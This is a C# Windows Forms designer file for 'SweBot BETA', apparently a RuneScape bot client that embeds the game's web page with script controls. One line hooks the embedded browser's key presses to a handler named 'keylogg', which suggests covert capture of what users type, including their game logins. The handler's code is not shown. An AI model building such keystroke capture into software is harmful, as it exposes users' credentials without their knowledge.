this.hideToolbarToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.hideToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.helpToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.goToWebsiteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.button1 = new System.Windows.Forms.Button();
this.webBrowser1 = new System.Windows.Forms.WebBrowser();
this.button6 = new System.Windows.Forms.Button();
this.button7 = new System.Windows.Forms.Button();
this.button8 = new System.Windows.Forms.Button();
this.button3 = new System.Windows.Forms.Button();
this.button4 = new System.Windows.Forms.Button();
this.button2 = new System.Windows.Forms.Button();
this.textBox1 = new System.Windows.Forms.TextBox();
this.label1 = new System.Windows.Forms.Label();
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.menuStrip1.SuspendLayout();
this.SuspendLayout();
//
// menuStrip1
//
this.menuStrip1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));
this.menuStrip1.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("menuStrip1.BackgroundImage")));
this.menuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.fileToolStripMenuItem,
this.scriptsToolStripMenuItem,
this.viewToolStripMenuItem,
this.helpToolStripMenuItem});
this.menuStrip1.Location = new System.Drawing.Point(0, 0);
this.menuStrip1.Name = "menuStrip1";
this.menuStrip1.Size = new System.Drawing.Size(774, 24);
this.menuStrip1.TabIndex = 0;
this.menuStrip1.Text = "menuStrip1";
//
// fileToolStripMenuItem
//
this.fileToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.runScriptToolStripMenuItem,
this.pauseScriptToolStripMenuItem,
this.stopScriptToolStripMenuItem,
this.exitToolStripMenuItem});
this.fileToolStripMenuItem.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.fileToolStripMenuItem.ForeColor = System.Drawing.SystemColors.AppWorkspace;
this.fileToolStripMenuItem.Name = "fileToolStripMenuItem";
this.fileToolStripMenuItem.Size = new System.Drawing.Size(38, 20);
this.fileToolStripMenuItem.Text = "File";
//
// runScriptToolStripMenuItem
//
this.runScriptToolStripMenuItem.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));
this.runScriptToolStripMenuItem.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("runScriptToolStripMenuItem.BackgroundImage")));
this.runScriptToolStripMenuItem.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.runScriptToolStripMenuItem.ForeColor = System.Drawing.SystemColors.AppWorkspace;
this.runScriptToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("runScriptToolStripMenuItem.Image")));
this.runScriptToolStripMenuItem.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft;
this.runScriptToolStripMenuItem.Name = "runScriptToolStripMenuItem";
this.runScriptToolStripMenuItem.Size = new System.Drawing.Size(147, 22);
this.runScriptToolStripMenuItem.Text = "Run Script";
this.runScriptToolStripMenuItem.Click += new System.EventHandler(this.runScriptToolStripMenuItem_Click_1);
//
// pauseScriptToolStripMenuItem
//
this.pauseScriptToolStripMenuItem.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("pauseScriptToolStripMenuItem.BackgroundImage")));
this.pauseScriptToolStripMenuItem.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.pauseScriptToolStripMenuItem.ForeColor = System.Drawing.SystemColors.AppWorkspace;
this.pauseScriptToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("pauseScriptToolStripMenuItem.Image")));
this.pauseScriptToolStripMenuItem.Name = "pauseScriptToolStripMenuItem";
this.pauseScriptToolStripMenuItem.Size = new System.Drawing.Size(147, 22);
this.pauseScriptToolStripMenuItem.Text = "Pause Script";
//
// stopScriptToolStripMenuItem
//
this.stopScriptToolStripMenuItem.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("stopScriptToolStripMenuItem.BackgroundImage")));
this.stopScriptToolStripMenuItem.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.stopScriptToolStripMenuItem.ForeColor = System.Drawing.SystemColors.AppWorkspace;
this.stopScriptToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("stopScriptToolStripMenuItem.Image")));
this.stopScriptToolStripMenuItem.Name = "stopScriptToolStripMenuItem";
this.stopScriptToolStripMenuItem.Size = new System.Drawing.Size(147, 22);
this.stopScriptToolStripMenuItem.Text = "Stop Script";
//
// exitToolStripMenuItem
//
this.exitToolStripMenuItem.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("exitToolStripMenuItem.BackgroundImage")));
this.exitToolStripMenuItem.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.exitToolStripMenuItem.ForeColor = System.Drawing.SystemColors.AppWorkspace;
this.exitToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("exitToolStripMenuItem.Image")));
this.exitToolStripMenuItem.Name = "exitToolStripMenuItem";
this.exitToolStripMenuItem.Size = new System.Drawing.Size(147, 22);
this.exitToolStripMenuItem.Text = "Exit";
//
// scriptsToolStripMenuItem
//
this.scriptsToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.browserToolStripMenuItem});
this.scriptsToolStripMenuItem.ForeColor = System.Drawing.SystemColors.AppWorkspace;
this.scriptsToolStripMenuItem.Name = "scriptsToolStripMenuItem";
this.scriptsToolStripMenuItem.Size = new System.Drawing.Size(54, 20);
this.scriptsToolStripMenuItem.Text = "Scripts";
//
// browserToolStripMenuItem
//
this.browserToolStripMenuItem.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("browserToolStripMenuItem.BackgroundImage")));
this.browserToolStripMenuItem.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.browserToolStripMenuItem.ForeColor = System.Drawing.SystemColors.AppWorkspace;
this.browserToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("browserToolStripMenuItem.Image")));
this.browserToolStripMenuItem.Name = "browserToolStripMenuItem";
this.browserToolStripMenuItem.Size = new System.Drawing.Size(138, 22);
this.browserToolStripMenuItem.Text = "Select Script";
this.browserToolStripMenuItem.Click += new System.EventHandler(this.browserToolStripMenuItem_Click);
//
// viewToolStripMenuItem
//
this.viewToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.hideToolbarToolStripMenuItem,
this.hideToolStripMenuItem});
this.viewToolStripMenuItem.ForeColor = System.Drawing.SystemColors.AppWorkspace;
this.viewToolStripMenuItem.Name = "viewToolStripMenuItem";
this.viewToolStripMenuItem.Size = new System.Drawing.Size(44, 20);
this.viewToolStripMenuItem.Text = "View";
//
// hideToolbarToolStripMenuItem
//
this.hideToolbarToolStripMenuItem.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("hideToolbarToolStripMenuItem.BackgroundImage")));
this.hideToolbarToolStripMenuItem.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.hideToolbarToolStripMenuItem.ForeColor = System.Drawing.SystemColors.AppWorkspace;
this.hideToolbarToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("hideToolbarToolStripMenuItem.Image")));
this.hideToolbarToolStripMenuItem.Name = "hideToolbarToolStripMenuItem";
this.hideToolbarToolStripMenuItem.Size = new System.Drawing.Size(169, 22);
this.hideToolbarToolStripMenuItem.Text = "Hide Toolbar";
this.hideToolbarToolStripMenuItem.Click += new System.EventHandler(this.hideToolbarToolStripMenuItem_Click);
//
// hideToolStripMenuItem
//
this.hideToolStripMenuItem.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("hideToolStripMenuItem.BackgroundImage")));
this.hideToolStripMenuItem.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.hideToolStripMenuItem.ForeColor = System.Drawing.SystemColors.AppWorkspace;
this.hideToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("hideToolStripMenuItem.Image")));
this.hideToolStripMenuItem.Name = "hideToolStripMenuItem";
this.hideToolStripMenuItem.Size = new System.Drawing.Size(169, 22);
this.hideToolStripMenuItem.Text = "Hide Log Window";
this.hideToolStripMenuItem.Click += new System.EventHandler(this.hideToolStripMenuItem_Click);
//
// helpToolStripMenuItem
//
this.helpToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.goToWebsiteToolStripMenuItem});
this.helpToolStripMenuItem.ForeColor = System.Drawing.SystemColors.AppWorkspace;
this.helpToolStripMenuItem.Name = "helpToolStripMenuItem";
this.helpToolStripMenuItem.Size = new System.Drawing.Size(44, 20);
this.helpToolStripMenuItem.Text = "Help";
//
// goToWebsiteToolStripMenuItem
//
this.goToWebsiteToolStripMenuItem.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("goToWebsiteToolStripMenuItem.BackgroundImage")));
this.goToWebsiteToolStripMenuItem.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.goToWebsiteToolStripMenuItem.ForeColor = System.Drawing.SystemColors.AppWorkspace;
this.goToWebsiteToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("goToWebsiteToolStripMenuItem.Image")));
this.goToWebsiteToolStripMenuItem.Name = "goToWebsiteToolStripMenuItem";
this.goToWebsiteToolStripMenuItem.Size = new System.Drawing.Size(146, 22);
this.goToWebsiteToolStripMenuItem.Text = "Go to website";
this.goToWebsiteToolStripMenuItem.Click += new System.EventHandler(this.goToWebsiteToolStripMenuItem_Click);
//
// button1
//
this.button1.BackColor = System.Drawing.Color.Transparent;
this.button1.FlatAppearance.BorderColor = System.Drawing.Color.Gray;
this.button1.FlatAppearance.BorderSize = 0;
this.button1.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.button1.ForeColor = System.Drawing.SystemColors.AppWorkspace;
this.button1.Image = global::swebot3.Properties.Resources.Check_smaler;
this.button1.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft;
this.button1.Location = new System.Drawing.Point(576, 28);
this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(96, 26);
this.button1.TabIndex = 1;
this.button1.Text = "Randoms";
this.button1.UseVisualStyleBackColor = false;
this.button1.Click += new System.EventHandler(this.button1_Click);
//
// webBrowser1
//
this.webBrowser1.AllowNavigation = false;
this.webBrowser1.Location = new System.Drawing.Point(0, 69);
this.webBrowser1.MinimumSize = new System.Drawing.Size(20, 20);
this.webBrowser1.Name = "webBrowser1";
this.webBrowser1.ScriptErrorsSuppressed = true;
this.webBrowser1.ScrollBarsEnabled = false;
this.webBrowser1.Size = new System.Drawing.Size(774, 536);
this.webBrowser1.TabIndex = 2;
this.webBrowser1.Url = new System.Uri("http://oldschool49.runescape.com/j1", System.UriKind.Absolute);
this.webBrowser1.DocumentCompleted += new System.Windows.Forms.WebBrowserDocumentCompletedEventHandler(this.webBrowser1_DocumentCompleted);
this.webBrowser1.PreviewKeyDown += new System.Windows.Forms.PreviewKeyDownEventHandler(this.keylogg);
//
// button6
//
this.button6.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("button6.BackgroundImage")));
this.button6.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.button6.FlatAppearance.BorderColor = System.Drawing.Color.Black;
this.button6.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.button6.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.button6.ForeColor = System.Drawing.SystemColors.AppWorkspace;
this.button6.Image = ((System.Drawing.Image)(resources.GetObject("button6.Image")));
this.button6.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft;
this.button6.Location = new System.Drawing.Point(374, 24);
this.button6.Name = "button6";
this.button6.Size = new System.Drawing.Size(126, 29);
this.button6.TabIndex = 7;
this.button6.Text = "Select Script";
this.button6.UseVisualStyleBackColor = true;
this.button6.Click += new System.EventHandler(this.button6_Click);
//
// button7
//
this.button7.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("button7.BackgroundImage")));
this.button7.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.button7.FlatAppearance.BorderColor = System.Drawing.Color.Black;
this.button7.FlatAppearance.MouseOverBackColor = System.Drawing.Color.Transparent;
this.button7.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.button7.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.button7.ForeColor = System.Drawing.SystemColors.AppWorkspace;
this.button7.Image = ((System.Drawing.Image)(resources.GetObject("button7.Image")));
this.button7.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft;
this.button7.Location = new System.Drawing.Point(242, 25);
this.button7.Name = "button7";
this.button7.Size = new System.Drawing.Size(126, 29);
this.button7.TabIndex = 8;
this.button7.Text = "Users";
this.button7.UseVisualStyleBackColor = true;
this.button7.Click += new System.EventHandler(this.button7_Click);
//
// button8
//
this.button8.BackColor = System.Drawing.Color.Transparent;
this.button8.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("button8.BackgroundImage")));
this.button8.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.button8.FlatAppearance.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));
this.button8.FlatAppearance.BorderSize = 0;
this.button8.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.button8.Location = new System.Drawing.Point(52, 26);
this.button8.Name = "button8";
this.button8.Size = new System.Drawing.Size(32, 28);
this.button8.TabIndex = 17;
this.button8.UseVisualStyleBackColor = false;
this.button8.Click += new System.EventHandler(this.button8_Click);
//
// button3
//
this.button3.BackColor = System.Drawing.Color.Transparent;
this.button3.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("button3.BackgroundImage")));
this.button3.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.button3.FlatAppearance.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));
this.button3.FlatAppearance.BorderSize = 0;
this.button3.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.button3.Location = new System.Drawing.Point(81, 26);
this.button3.Name = "button3";
this.button3.Size = new System.Drawing.Size(29, 28);
this.button3.TabIndex = 18;
this.button3.UseVisualStyleBackColor = false;
this.button3.Click += new System.EventHandler(this.button3_Click_1);
//
// button4
//
this.button4.BackColor = System.Drawing.Color.Transparent;
this.button4.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("button4.BackgroundImage")));
this.button4.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.button4.FlatAppearance.BorderColor = System.Drawing.Color.Black;
this.button4.FlatAppearance.BorderSize = 0;
this.button4.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.button4.Location = new System.Drawing.Point(26, 26);
this.button4.Name = "button4";
this.button4.Size = new System.Drawing.Size(29, 28);
this.button4.TabIndex = 19;
this.button4.UseVisualStyleBackColor = true;
this.button4.Click += new System.EventHandler(this.button4_Click);
//
// button2
//
this.button2.BackColor = System.Drawing.Color.Transparent;
this.button2.FlatAppearance.BorderColor = System.Drawing.Color.Gray;
this.button2.FlatAppearance.BorderSize = 0;
this.button2.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.button2.ForeColor = System.Drawing.SystemColors.AppWorkspace;
this.button2.Image = ((System.Drawing.Image)(resources.GetObject("button2.Image")));
this.button2.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft;
this.button2.Location = new System.Drawing.Point(678, 28);
this.button2.Name = "button2";
this.button2.Size = new System.Drawing.Size(96, 26);
this.button2.TabIndex = 20;
this.button2.Text = "User Input";
this.button2.UseVisualStyleBackColor = false;
this.button2.Click += new System.EventHandler(this.button2_Click);
//
// textBox1
//
this.textBox1.BackColor = System.Drawing.Color.Black;
this.textBox1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
this.textBox1.Cursor = System.Windows.Forms.Cursors.Default;
this.textBox1.Font = new System.Drawing.Font("Times New Roman", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.textBox1.ForeColor = System.Drawing.SystemColors.ButtonShadow;
this.textBox1.ImeMode = System.Windows.Forms.ImeMode.NoControl;
this.textBox1.Location = new System.Drawing.Point(0, 611);
this.textBox1.Multiline = true;
this.textBox1.Name = "textBox1";
this.textBox1.ReadOnly = true;
this.textBox1.ScrollBars = System.Windows.Forms.ScrollBars.Vertical;
this.textBox1.ShortcutsEnabled = false;
this.textBox1.Size = new System.Drawing.Size(774, 132);
this.textBox1.TabIndex = 21;
this.textBox1.Text = "[00:00:00] Global Welcome to SweBot!rn[00:00:00] Bot " +
" World select: World43.";
this.textBox1.WordWrap = false;
this.textBox1.TextChanged += new System.EventHandler(this.textBox1_TextChanged);
//
// label1
//
this.label1.AutoSize = true;
this.label1.BackColor = System.Drawing.Color.Transparent;
this.label1.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.label1.ForeColor = System.Drawing.SystemColors.ControlDark;
this.label1.Location = new System.Drawing.Point(588, 746);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(174, 18);
this.label1.TabIndex = 22;
this.label1.Text = "Copyright ©SweBot 2013";
this.label1.Click += new System.EventHandler(this.label1_Click);
//
// timer1
//
this.timer1.Enabled = true;
this.timer1.Interval = 10000;
this.timer1.Tick += new System.EventHandler(this.timer1_Tick);
//
// Form1
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));
this.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("$this.BackgroundImage")));
this.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Center;
this.ClientSize = new System.Drawing.Size(774, 771);
this.Controls.Add(this.label1);
this.Controls.Add(this.textBox1);
this.Controls.Add(this.button2);
this.Controls.Add(this.button4);
this.Controls.Add(this.button3);
this.Controls.Add(this.button8);
this.Controls.Add(this.button7);
this.Controls.Add(this.button6);
this.Controls.Add(this.webBrowser1);
this.Controls.Add(this.button1);
this.Controls.Add(this.menuStrip1);
this.DoubleBuffered = true;
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.Fixed3D;
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MainMenuStrip = this.menuStrip1;
this.MaximizeBox = false;
this.Name = "Form1";
this.Text = "SweBot BETA";
this.Load += new System.EventHandler(this.Form1_Load);
this.KeyDown += new System.Windows.Forms.KeyEventHandler(this.Form1_KeyDown);
this.menuStrip1.ResumeLayout(false);
this.menuStrip1.PerformLayout();
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.MenuStrip menuStrip1;
private System.Windows.Forms.ToolStripMenuItem fileToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem scriptsToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem viewToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem helpToolStripMenuItem;
private System.Windows.Forms.Button button1;
private System.Windows.Forms.WebBrowser webBrowser1;
private System.Windows.Forms.Button button6;
private System.Windows.Forms.Button button7;
private System.Windows.Forms.ToolStripMenuItem runScriptToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem pauseScriptToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem stopScriptToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem exitToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem browserToolStripMenuItem;
private System.Windows.Forms.Button button8;
private System.Windows.Forms.Button button3;
private System.Windows.Forms.Button button4;
private System.Windows.Forms.Button button2;
private System.Windows.Forms.ToolStripMenuItem hideToolbarToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem hideToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem goToWebsiteToolStripMenuItem;
private System.Windows.Forms.TextBox textBox1;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.Timer timer1;
}
}
Annons